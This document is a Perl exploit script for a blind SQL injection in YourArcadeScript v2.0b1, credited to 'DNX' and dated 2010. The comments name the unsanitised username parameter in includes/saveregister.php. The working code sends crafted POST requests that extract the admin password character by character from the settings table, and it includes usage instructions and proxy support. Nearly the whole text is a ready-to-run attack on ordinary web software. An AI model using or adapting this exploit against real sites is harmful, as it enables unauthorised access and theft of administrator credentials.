YourArcadeScript 2.0b1 Blind SQL Injection

`#!/usr/bin/perl  
use LWP::UserAgent;  
use HTTP::Request::Common qw(POST);  
use Getopt::Long;  
  
# \#'#/  
# (-.-)  
# ------------------oOO---(_)---OOo-----------------  
# | __ __ |  
# | _____/ /_____ ______/ /_ __ ______ ______ |  
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |  
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |  
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |  
# | Security Research Division /____/ 2o1o |  
# --------------------------------------------------  
# | YourArcadeScript v2.0b1 Blind SQL Injection |  
# --------------------------------------------------  
# [!] Discovered by.: DNX  
# [!] Homepage......: http://starbugs.host.sk  
# [!] Vendor........: http://www.yourarcadescript.com  
# [!] Detected......: 21.05.2010  
# [!] Reported......: 22.05.2010  
# [!] Response......: xx.xx.2010  
#  
# [!] Background....: Our script has features that other scripts have but ours is  
# FREE! YourArcadeScript is a free arcade script, but can be  
# used for pictures, youtube, or other media files.  
#  
# [!] Requirements..: magic_quotes_gpc = Off  
#  
# [!] Bug...........: $_POST["username"] in includes/saveregister.php near line 3  
#  
# 03: $username=$_POST["username"];  
#  
# 11: $res=mysql_query("select * from user where username like '$username'") or die(mysql_error());  
#  
  
if(!$ARGV[1])  
{  
print "\n \\#'#/ ";  
print "\n (-.-) ";  
print "\n --------------------oOO---(_)---OOo--------------------";  
print "\n | YourArcadeScript v2.0b1 Blind SQL Injection Exploit |";  
print "\n | coded by DNX |";  
print "\n -------------------------------------------------------";  
print "\n[!] Usage: perl yas.pl [Host] [Path] <Options>";  
print "\n[!] Example: perl yas.pl 127.0.0.1 /yas/";  
print "\n[!] Options:";  
print "\n -p [ip:port] Proxy support";  
print "\n";  
exit;  
}  
  
my %options = ();  
GetOptions(\%options, "p=s");  
my $ua = LWP::UserAgent->new();  
my $host = $ARGV[0];  
my $path = $ARGV[1];  
my $target = "http://".$host.$path;  
  
if($options{"p"})  
{  
$ua->proxy('http', "http://".$options{"p"});  
}  
  
print "[!] Exploiting...\n";  
  
go();  
  
print "\n[!] Exploit done\n";  
  
sub go  
{  
syswrite(STDOUT, "[!] Get Admin Password: ", 24);  
for(my $i = 1; $i <= 32; $i++)  
{  
my $found = 0;  
my $h = 48 ;  
while(!$found && $h <= 102)  
{  
if(exploit($i, $h))  
{  
$found = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
if($h == 58)  
{  
$h = 97;  
}  
}  
}   
}  
  
sub exploit  
{  
my $i = shift;  
my $h = shift;  
my $url = $target."includes/saveregister.php";  
my $inj = "_#1337#_' or substring((select password FROM settings limit 1),".$i.",1)=CHAR(".$h.")/*";  
my $req = POST $url, [username => $inj];  
my $res = $ua->request($req);  
  
if($res->content =~ /Sorry username exists register again/s)  
{  
return 1;  
}  
else  
{  
return 0;  
}  
}  
`